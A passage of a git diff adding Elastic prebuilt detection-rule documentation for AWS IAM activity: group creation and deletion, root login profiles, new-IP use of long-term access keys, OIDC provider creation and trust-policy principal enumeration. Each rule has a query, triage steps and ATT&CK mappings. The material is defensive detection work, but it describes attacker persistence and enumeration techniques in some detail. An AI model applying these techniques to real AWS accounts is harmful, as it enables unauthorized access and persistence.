filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-group.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateGroup.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Group Creation* + + +AWS IAM allows organizations to manage user access and permissions securely. Groups in IAM simplify permission management by allowing multiple users to inherit the same permissions. However, adversaries may exploit this by creating unauthorized groups to gain persistent access. This alert fires on `CreateGroup`. New group creation may indicate attacker staging for persistence, especially if followed by policy attachments or user additions. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Check `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id` to determine who performed the group creation. + - Review `source.ip`, `user_agent.original`, `cloud.account.id`, `cloud.region` for unusual network, client, or region usage. + +- **Examine the group details** + - From `aws.cloudtrail.response_elements`, extract `groupName` and `path` (e.g., /service/, /dev/). + - Look for immediate follow-on changes by the same actor within the next 15–30 minutes: + - AttachGroupPolicy (especially AdministratorAccess or broad s3:*, iam:*). + - AddUserToGroup (who was added and when?). + - Use GetGroup to enumerate current group membership and attached policies during triage. + +- **Correlate with broader activity** + - Look for prior suspicious actions by the same user: `AssumeRole`, `CreateAccessKey`, new IAM user/role. + - After group creation, watch for data-access or configuration changes (e.g., S3 policy updates, KMS key policy changes) + + +*False positive analysis* + + +- IAM onboarding workflows or DevOps pipelines creating groups for new projects can trigger this alert. +- Test or sandbox accounts often create and delete groups routinely, validate account context and approval flows. + + +*Response and remediation:* + + +- **Containment**: + - If suspicious, disable further changes by the actor (temporarily remove IAM write privileges or deactivate keys). + - Place a change freeze on the newly created group (block `AttachGroupPolicy`/`AddUserToGroup` via SCP/permissions boundary until review completes). + +- **Investigation and scoping**: + - Use `GetGroup`, `ListAttachedGroupPolicies`, `ListUsersInGroup` to enumerate the group’s state and identify any suspicious policies or members. Investigate any attached policies granting broad privileges. + - Hunt for same-actor `AttachGroupPolicy`/`AddUserToGroup` events across the last 24–48h. + +- **Recovery and hardening**: + - Delete unauthorized, unused or suspicious groups. remove rogue policies/members. + - Restrict who can call `iam:CreateGroup`, `iam:AttachGroupPolicy`, and `iam:AddUserToGroup` (least privilege). + + +*Additional information* + +https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail and + event.provider: iam.amazonaws.com and + event.action: CreateGroup and + event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-group-deletion.asciidoc new file mode 100644 index 0000000000..c7d610c654 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-group-deletion.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-21-aws-iam-group-deletion]] +=== AWS IAM Group Deletion + +Detects when an IAM group is deleted using the DeleteGroup API call. Deletion of an IAM group may represent a malicious attempt to remove audit trails, disrupt operations, or hide adversary activity (for example after using the group briefly for privileged access). This can be an indicator of impact or cleanup in an attack lifecycle. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/delete-group.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeleteGroup.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Group Deletion* + + +Attackers sometimes remove groups to erase evidence, disrupt operations, or prevent users from receiving needed permissions (Impact). Deletion can also follow malicious cleanup after attaching policies and using the group briefly. This alert fires on `DeleteGroup` API call. Consider intentional disruption or covering tracks, particularly if the group was privileged or recently modified. + + +*Possible investigation steps* + + +- **Identify the actor and environment** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id`. + - Check `source.ip`, `user_agent.original`, `cloud.account.id`, `cloud.region` for atypical activity. + +- **Determine what was lost** + - From `aws.cloudtrail.request_parameters`, capture `groupName`. + - Use history or logs to identify existing members and attached policies prior to deletion (ex: `GetGroup`, `ListAttachedGroupPolicies`). + - Determine if the group contained privileged roles/policies that could have been weaponized. + +- **Correlate with related activity** + - Look in the prior 1–24h for `DetachGroupPolicy`, `RemoveUserFromGroup`, `DeleteGroupPolicy`, which often precede deletion in adversary cleanup workflows. + - After deletion, monitor for creation of new similarly-named groups, or re-attachment of policies to other groups/roles. + + +*False positive analysis* + + +- Projects & services that are being decommissioned often require group deletion. Confirm through internal inventory and change control. +- Sandbox or dev accounts frequently create and delete groups; ensure the environment context is understood. + + +*Response and remediation* + + +- **Containment**: If deletion was unauthorized, restrict the actor’s IAM privileges and block further configuration changes. +- **Investigation and scoping**: Recover details of the deleted group (members, policies) from logs or AWS Config, and determine the impact of the deletion (which users lost membership, service account disruption). +- **Recovery and hardening**: Recreate the group if necessary, restore intended policies and memberships, enforce change-control for group deletions, restrict `iam:DeleteGroup` privileges, and create alerts for destructive IAM operations. + + +*Additional information* + +https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail and + event.provider: iam.amazonaws.com and + event.action: DeleteGroup and + event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-login-profile-added-for-root.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-login-profile-added-for-root.asciidoc new file mode 100644 index 0000000000..9ae73f0924 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-login-profile-added-for-root.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-21-aws-iam-login-profile-added-for-root]] +=== AWS IAM Login Profile Added for Root + +Identifies creation of a console login profile for the AWS account root user. While CreateLoginProfile normally applies to IAM users, when performed from a temporary root session (e.g., via AssumeRoot) and the userName parameter is omitted, the profile is created for the root principal (self-assigned). Adversaries with temporary root access may add or reset the root login profile to establish persistent console access even if original access keys are rotated or disabled. Correlate with recent AssumeRoot/STS activity and validate intent with the account owner. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Login Profile Added for Root* + + +This rule detects when a console login profile is created for the AWS root account. +A login profile enables password-based console access, and because the root user has unrestricted privileges, creating one is an extremely high-impact event. Adversaries who temporarily gain root-level credentials (for example, through an STS session or credential compromise) may use `CreateLoginProfile` without specifying a `userName` to add a password to the root account. This grants persistent access even if the attacker’s API keys are later rotated or disabled. + + +*Possible investigation steps* + + +**Assess the timing and context of the event** +- Review the `@timestamp` to determine when the `CreateLoginProfile` call occurred. + - Correlate this time window with other root or IAM activity such as `AssumeRoot`, `GetSessionToken`, `ConsoleLogin`, or `CreateAccessKey`. + - Check for follow-on activity, especially `ConsoleLogin` events or `UpdateLoginProfile`, which may indicate that the root password was used immediately after creation. + +**Investigate event origin and session details** +- Review `source.ip` and `user_agent.original`: + - Determine if the request originated from an expected network range, VPN endpoint, or geolocation. + - Identify whether the access was interactive (for example, browser or AWS console) or automated (`aws-cli`, SDK, or API client). +- Examine `aws.cloudtrail.user_identity.access_key_id` and associated STS session context to see if temporary credentials were used. +- Compare this event’s IP and access key to any other recent CloudTrail activity to identify potential lateral movement or multi-account access attempts. + +**Analyze the login profile creation** +- Review `aws.cloudtrail.request_parameters` and `aws.cloudtrail.response_elements`: + - Check whether `passwordResetRequired` was set to `true` or omitted, absence may imply that the attacker created a password they intend to reuse. +- Cross-reference this action with previous failed login attempts, password recovery requests, or `AssumeRoot` behavior. + +**Correlate related identity and access behavior** +- Search for additional IAM management activity: + - `AttachUserPolicy`, `AttachRolePolicy`, or `PutUserPolicy` granting elevated permissions. + - New `AccessKey` creation or `UpdateAccessKey` events tied to the same session. +- Review GuardDuty findings or any other detections referencing this account or IP around the same time period. +- If available, correlate with CloudTrail to detect if other resource creation or configuration changes followed the login profile addition. + +**Validate with account owner or authorized personnel** +- Contact the designated account or root credential owner to confirm whether this action was intentional (for example, during an account recovery). +- Review any internal change-management or service ticketing systems for an approved request matching this activity. + + +*False positive analysis* + + +Although rare, legitimate scenarios include: +- **Authorized account recovery** : An administrator or AWS Support might temporarily add a root login profile to regain access. Validate against documented recovery workflows. +- **Controlled testing or sandbox environments** : Certain sandbox accounts may reuse root credentials for automation or demonstration purposes. Tag and exclude these accounts from this rule where appropriate. +- **Automated provisioning** : Review any account bootstrap or recovery automation scripts that may invoke `CreateLoginProfile` on root credentials. + +For any potential false positive, verify that: +- The `source.ip` and `user_agent.original` values align with expected administrative locations and tools. +- The change was recorded during a maintenance window or known security operation. + + +*Response and remediation* + + +> Any unapproved creation of a login profile for the root account is a critical security incident requiring immediate containment and credential rotation. + +**Containment** +- Delete the newly created root login profile if it was not authorized. +- Rotate the root account password using AWS’s official password-reset workflow. +- Revoke any active sessions, temporary credentials, or tokens associated with this event. +- Verify that multi-factor authentication (MFA) is enabled and functioning on the root account. +- Check that no root access keys exist — if present, remove them immediately. + +**Investigation and scoping** +- Examine CloudTrail logs from 30 minutes before and after this event to identify correlated actions. +- Capture and securely store these logs in an isolated S3 bucket with Object Lock enabled to preserve forensic integrity. +- Investigate for additional IAM or STS operations by the same `access_key_id` or IP address that may indicate privilege escalation or persistence attempts. +- Review whether any new IAM roles, users, or policies were created in proximity to this event. + +**Recovery and hardening** +- Reset the root password and distribute the new credentials securely to authorized custodians only. +- Ensure MFA is enforced for all administrative and root-level access. +- Audit all IAM policies for least-privilege adherence, focusing on `iam:CreateLoginProfile`, `iam:UpdateLoginProfile`, and `iam:CreateAccessKey` permissions. +- Enable Cloudtrail, GuardDuty, AWS Config, and Security Hub across all regions for continuous monitoring of root and IAM activity. +- Review your organization’s playbooks and detection coverage for root-level persistence techniques, and update procedures as needed. + +**Post-incident actions** +- Notify AWS account owners and your security operations center of the incident. +- Conduct a post-mortem to determine the initial vector of compromise (e.g., stolen credentials, misconfigured role chaining, or insufficient MFA). +- Update alerting thresholds and detection logic to minimize mean time to detect (MTTD) and respond (MTTR). + + +*Additional information* + + +- **AWS Incident Response Playbooks** + - https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-CredCompromise.md[IRP-CredCompromise] – Containment and recovery for suspected credential abuse. +- **AWS Customer Playbook Framework** + - https://github.com/aws-samples/aws-customer-playbook-framework/blob/a8c7b313636b406a375952ac00b2d68e89a991f2/docs/Compromised_IAM_Credentials.md[Compromised_IAM_Credentials.md] – Steps to contain, investigate, and recover from credential compromise. +- **AWS Documentation** + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html[CreateLoginProfile API Reference] + - https://docs.aws.amazon.com/IAM/latest/UserGuide/root-user-best-practices.html[Root User Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "CreateLoginProfile" + and aws.cloudtrail.user_identity.type == "Root" + and event.outcome == "success" + and not stringContains(aws.cloudtrail.request_parameters, "userName=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc new file mode 100644 index 0000000000..940087888c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-21-aws-iam-long-term-access-key-first-seen-from-source-ip]] +=== AWS IAM Long-Term Access Key First Seen from Source IP + +Identifies the first time, within the configured history window, that a long-term IAM access key ID (prefix AKIA) is used successfully from a given source.ip in AWS CloudTrail. Long-term access keys belong to IAM users or the account root user. They are a common target after credential theft or leakage, including supply-chain and exposed-key scenarios. Temporary security credentials (prefix ASIA) and console sessions are excluded so the signal emphasizes programmatic access patterns. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kudelskisecurity.com/research/investigating-two-variants-of-the-trivy-supply-chain-compromise + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Long-Term Access Key First Seen from Source IP* + + +This rule is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] detection on CloudTrail. It fires when a successful API call uses a long-term IAM access key (`AKIA*`) from a `source.ip` that has not appeared with that key in the rule history window. + +Long-term keys are high-value targets. Unlike session credentials (`ASIA*`), they do not expire until rotated or deleted. Threat reporting on cloud compromises often highlights abuse of leaked or stolen `AKIA` keys. + + +*Possible investigation steps* + + +**Confirm the key and principal** +- Identify the IAM user or root context implied by `aws.cloudtrail.user_identity.arn` or `user.name`. +- **`aws.cloudtrail.user_identity.type`**: Distinguish `IAMUser`, `Root`, or other types; root long-term keys warrant extra scrutiny. + +**Assess the new source** +- **`source.ip`** and **`source.geo`**: Compare to normal geography, corporate egress, and known cloud provider ranges. +- **`user_agent.original`**: Identify AWS CLI, SDKs, custom tooling, or unusual agents. + +**Correlate activity** +- Search CloudTrail for the same access key and IP over the following hours for sensitive APIs (IAM changes, STS, S3 data access, Secrets Manager, role assumption). +- Review IAM last-used metadata for the key in the AWS console or API (`GetAccessKeyLastUsed`). + + +*False positive analysis* + + +- Travel and VP* for human IAM users. +- New CI runners, ephemeral build agents, or re-IP'd NAT gateways for automation keys. +- Partner or MSP access from new networks if keys are shared (discouraged practice). + + +*Response and remediation* + + +- If unexpected, deactivate or delete the access key, rotate credentials, and review policies attached to the user. +- Enable or enforce MFA for console users; prefer roles and temporary credentials over long-term keys for workloads. +- Document approved networks or principals and tune history or exceptions accordingly. + + +*Additional information* + + +- https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/aws-security-incident-response-guide.pdf[AWS Security Incident Response Guide] + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.outcome: "success" + and source.ip:* + and aws.cloudtrail.user_identity.access_key_id: AKIA* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-oidc-provider-created-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-oidc-provider-created-by-rare-user.asciidoc new file mode 100644 index 0000000000..1b00038deb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-oidc-provider-created-by-rare-user.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-21-aws-iam-oidc-provider-created-by-rare-user]] +=== AWS IAM OIDC Provider Created by Rare User + +Detects when an uncommon user or role creates an OpenID Connect (OIDC) Identity Provider in AWS IAM. OIDC providers enable web identity federation, allowing users authenticated by external identity providers (such as Google, GitHub, or custom OIDC-compliant providers) to assume IAM roles and access AWS resources. Adversaries who have gained administrative access may create rogue OIDC providers to establish persistent, federated access that survives credential rotation. This technique allows attackers to assume roles using tokens from an IdP they control. While OIDC provider creation is benign in some environments, it should still be validated against authorized infrastructure changes. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateOpenIDConnectProvider.html +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc.html +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM OIDC Provider Created by Rare User* + + +OpenID Connect (OIDC) providers in AWS IAM enable web identity federation, allowing external identity providers to authenticate users who then assume IAM roles. Common legitimate use cases include GitHub Actions accessing AWS resources, Kubernetes pods authenticating to AWS, and web applications using social login. + +This rule detects the first time a specific user or role creates an OIDC provider within an account. While OIDC provider creation is common in some environments, a new user creating one for the first time warrants validation to ensure it's authorized. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine who created the OIDC provider. + - Check if this user has created OIDC providers before in other accounts. + +- **Review the OIDC provider details** + - Examine `aws.cloudtrail.request_parameters` for the provider URL and client IDs. + - Identify the external IdP (e.g., GitHub, Google, custom provider). + +- **Validate business justification** + - Confirm with DevOps or platform teams whether this aligns with CI/CD pipeline setup. + - Check for related change tickets or infrastructure-as-code deployments. + +- **Check for follow-on activity** + - Search for `CreateRole` or `UpdateAssumeRolePolicy` calls that trust the new OIDC provider. + - Look for `AssumeRoleWithWebIdentity` calls using the newly created provider. + +- **Correlate with other suspicious activity** + - Check for preceding privilege escalation or credential access events. + - Look for other persistence mechanisms being established concurrently. + + +*False positive analysis* + + +- **CI/CD pipeline integration** + - GitHub Actions, GitLab CI, and other CI/CD systems commonly use OIDC for AWS authentication. + - Validate against known DevOps workflows. + +- **Kubernetes federation** + - EKS and self-managed Kubernetes clusters may use OIDC providers for pod identity. + - Confirm with platform engineering teams. + +- **Infrastructure-as-code deployments** + - Terraform, CloudFormation, or other IaC tools may create OIDC providers. + - Verify via CI/CD logs. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, delete the OIDC provider using `DeleteOpenIDConnectProvider`. + - Review and remove any IAM roles that trust the rogue provider. + +- **Investigation** + - Audit CloudTrail for any `AssumeRoleWithWebIdentity` calls using this provider. + - Review all IAM roles with web identity trust relationships. + +- **Hardening** + - Restrict `iam:CreateOpenIDConnectProvider` permissions to authorized roles. + - Implement SCPs to control OIDC provider creation in member accounts. + - Enable AWS Config rules to monitor identity provider configurations. + + +*Additional information* + +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc.html[AWS IAM OIDC Providers Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "CreateOpenIDConnectProvider" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc new file mode 100644 index 0000000000..3faec3472c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-21-aws-iam-principal-enumeration-via-updateassumerolepolicy]] +=== AWS IAM Principal Enumeration via UpdateAssumeRolePolicy + +Detects repeated failed attempts to update an IAM role’s trust policy in an AWS account, consistent with role and user enumeration techniques. In this technique, an attacker who controls credentials in the current account repeatedly calls UpdateAssumeRolePolicy on a single role, cycling through guessed cross-account role or user ARNs as the principal. When those principals are invalid, IAM returns MalformedPolicyDocumentException, producing a burst of failed UpdateAssumeRolePolicy events. This rule alerts on that brute-force pattern originating from this account, which may indicate that the account is being used as attack infrastructure or that offensive tooling (such as Pacu) is running here. Note: this rule does not detect other accounts enumerating roles, because those API calls are logged in the caller’s account, not the target account. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.praetorian.com/blog/aws-iam-assume-role-vulnerabilities +* https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Discovery +* Tactic: Credential Access + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Principal Enumeration via UpdateAssumeRolePolicy* + + +This rule detects bursts of failed attempts to update an IAM role’s trust policy — typically resulting in `MalformedPolicyDocumentException` errors — which can indicate enumeration of IAM principals. +Adversaries who have obtained valid AWS credentials may attempt to identify roles or accounts that can be assumed by repeatedly modifying a role’s trust relationship using guessed `Principal` ARNs. +When these principals are invalid, IAM rejects the request, creating a recognizable sequence of failed `UpdateAssumeRolePolicy` events. + +Because this is a threshold rule, it triggers when the number of failures exceeds a defined count within a short period. This pattern suggests brute-force-style enumeration rather than normal misconfiguration. + + +*Possible investigation steps* + + +- **Validate the context of the threshold trigger** + - Review the `@timestamp` range for when the burst occurred and the number of failed attempts in the threshold window. + - Identify whether all failures targeted the same `RoleName` or multiple roles — targeting a single role is often indicative of brute-force enumeration. + - Confirm the source identity and IP address (`aws.cloudtrail.user_identity.arn`, `source.ip`, `user_agent.original`) to determine whether these calls originated from a known automation process or an unexpected host. + +- **Correlate with other IAM activity** + - Look for any subsequent successful `UpdateAssumeRolePolicy` or `AssumeRole` calls, which may indicate the attacker eventually discovered a valid principal. + - Search for reconnaissance-related API calls (`ListRoles`, `ListUsers`, `GetCallerIdentity`) before the threshold event — these often precede enumeration bursts. + - Investigate whether other suspicious role- or identity-related actions occurred near the same timeframe, such as `CreateRole`, `PutRolePolicy`, or `AttachRolePolicy`. + +- **Identify infrastructure patterns** + - Examine the `user_agent.original` field — the presence of automation frameworks or penetration tools (e.g., “Boto3”, “Pacu”) may signal offensive tooling. + - Review the `source.ip` or `cloud.account.id` fields to see whether this account may be acting as attacker-controlled infrastructure attempting to enumerate roles in other environments. + +- **Validate authorization** + - Confirm with your DevOps or Cloud IAM teams whether any expected testing, migration, or cross-account role configuration changes were planned for this time period. + - If the identity performing these actions does not typically manage IAM roles or trust relationships, escalate for investigation as a possible credential compromise. + + +*False positive analysis* + + +- **Legitimate automation retries** + - Continuous integration or configuration management systems may retry failed IAM API calls during deployment rollouts. + If the same IAM role was being updated as part of a known change, validate the timing and source identity before closing as benign. +- **Misconfigured scripts or infrastructure drift** + - Scripts that deploy trust policies using outdated or invalid ARNs can cause repetitive failures that mimic brute-force patterns. + Review the `RoleName` and `Principal` ARNs included in the failed requests to confirm if they correspond to known but outdated configurations. + + +*Response and remediation* + + +- **Immediate review and containment** + - Investigate whether the source account is being used for offensive operations or compromised automation. + - Disable or suspend the IAM user or access key responsible for the enumeration burst. + - If activity originated from a workload or CI/CD system, audit its access keys and environment variables for compromise. + +- **Investigation and scoping** + - Review CloudTrail logs for other IAM or STS actions from the same source in the preceding and following 24 hours. + - Check for any successful privilege changes (`PutRolePolicy`, `AttachRolePolicy`, or `AssumeRole`) by the same identity. + - Determine if other roles in the same account experienced similar failed updates or bursts. + +- **Recovery and hardening** + - Rotate credentials for any identities involved. + - Limit permissions to modify trust policies (`iam:UpdateAssumeRolePolicy`) to a small set of administrative roles. + - Enable AWS Config rule `iam-role-trust-policy-check` to detect overly permissive or unusual trust relationships. + - Use AWS GuardDuty or Security Hub to monitor for subsequent privilege escalation or reconnaissance findings. + - Review the event against AWS Incident Response Playbook guidance (containment > investigation > recovery > hardening). + + +*Additional information* + + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - 